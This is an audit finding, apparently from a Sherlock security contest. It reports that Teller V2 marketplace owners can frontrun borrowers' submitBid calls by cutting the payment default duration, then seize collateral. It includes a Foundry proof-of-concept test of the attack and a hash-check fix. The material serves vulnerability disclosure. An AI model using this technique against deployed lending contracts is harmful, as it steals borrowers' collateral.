juancito - Marketplaces owners can frontrun `submitBid` to steal collateral by modifying market parameters
sherlock-admin opened this issue · 0 comments
juancito
high
Marketplaces owners can frontrun submitBid
to steal collateral by modifying market parameters
Summary
TellerV2::submitBid()
is vulnerable to frontrunning from marketplace owners. By modifying some parameters just before the borrower transaction they are able to perform different attacks. For example modifying the result of getPaymentDefaultDuration()
.
This leads to loan payment durations being too short, and making it possible to accept a bid and seize the collateral almost instantly.
Submitting this as an important attack vector mentioned in the README.md
that should not be possible to execute:
Market owners should NOT be able to race-condition attack borrowers or lenders by changing market settings while bids are being submitted or accepted (while tx are in mempool). Care has been taken to ensure that this is not possible...
Vulnerability Detail
bidDefaultDuration[bidId] = marketRegistry.getPaymentDefaultDuration(
_marketplaceId
);
Proof of Concept
Add this test to packages/contracts/tests/TellerV2/TellerV2_Test.sol
and run forge test -m "test_marketplace_frontrun_exploit"
:
function test_marketplace_frontrun_exploit() public {
address payable marketRegistryAddr = payable(address(tellerV2.marketRegistry()));
MarketRegistry marketRegistry = MarketRegistry(marketRegistryAddr);
// Malicious market owner sees that a borrower is placing a bid and frontruns them
// Sets the minimum payment duration possible which is 1
vm.prank(address(marketOwner));
marketRegistry.setPaymentDefaultDuration(marketId1, 1);
// Submit bid as borrower
uint256 bidId = submitCollateralBid();
// Simulate the marketplace owner waiting for the next block
// Calculation is done with block.timestamp
vm.warp(100);
// The marketplace owner uses their "lender" account
// Verify its balance before the attack
assertEq(wethMock.balanceOf(address(lender)), 500000);
// The "lender" accepts the bid
acceptBid(bidId);
// We have to wait at least another block because of the minimum payment duration
vm.warp(200);
// The "lender" can seize the collateral
vm.prank(address(lender));
collateralManager.withdraw(bidId);
// The marketplace owner through steals the collateral through his "lender" account
assertEq(wethMock.balanceOf(address(lender)), 500010);
}
Impact
Lenders are able to instantly seize collateral from borrowers. The attack makes economically sense as loans should be overcollateralized.
Other attacks should be possible by changing other market parameters.
Code Snippet
Tool used
Manual Review
Recommendation
A possible solution is already mentioned in the README.md
, which was not implemented as the attacked was not proved to be possible. But given the POC, it would make sense to implement it:
The best way to defend against this is to allow borrowers and lenders to specify such loan parameters in their TX such that they are explicitly consenting to them in the tx and then reverting if the market settings conflict with those tx arguments.
My suggestion is to hash the marketplace values and compare them on the _submitBid
function:
function _submitBid(
+ bytes32 _marketHash,
address _lendingToken,
uint256 _marketplaceId,
uint256 _principal,
uint32 _duration,
uint16 _APR,
string calldata _metadataURI,
address _receiver
) internal virtual returns (uint256 bidId_) {
+ bytes32 marketHash = ... // Calculate current market hash from MarketRegistry values
+ require(marketHash == _marketHash, "Hashes must be the same");
Duplicate of #205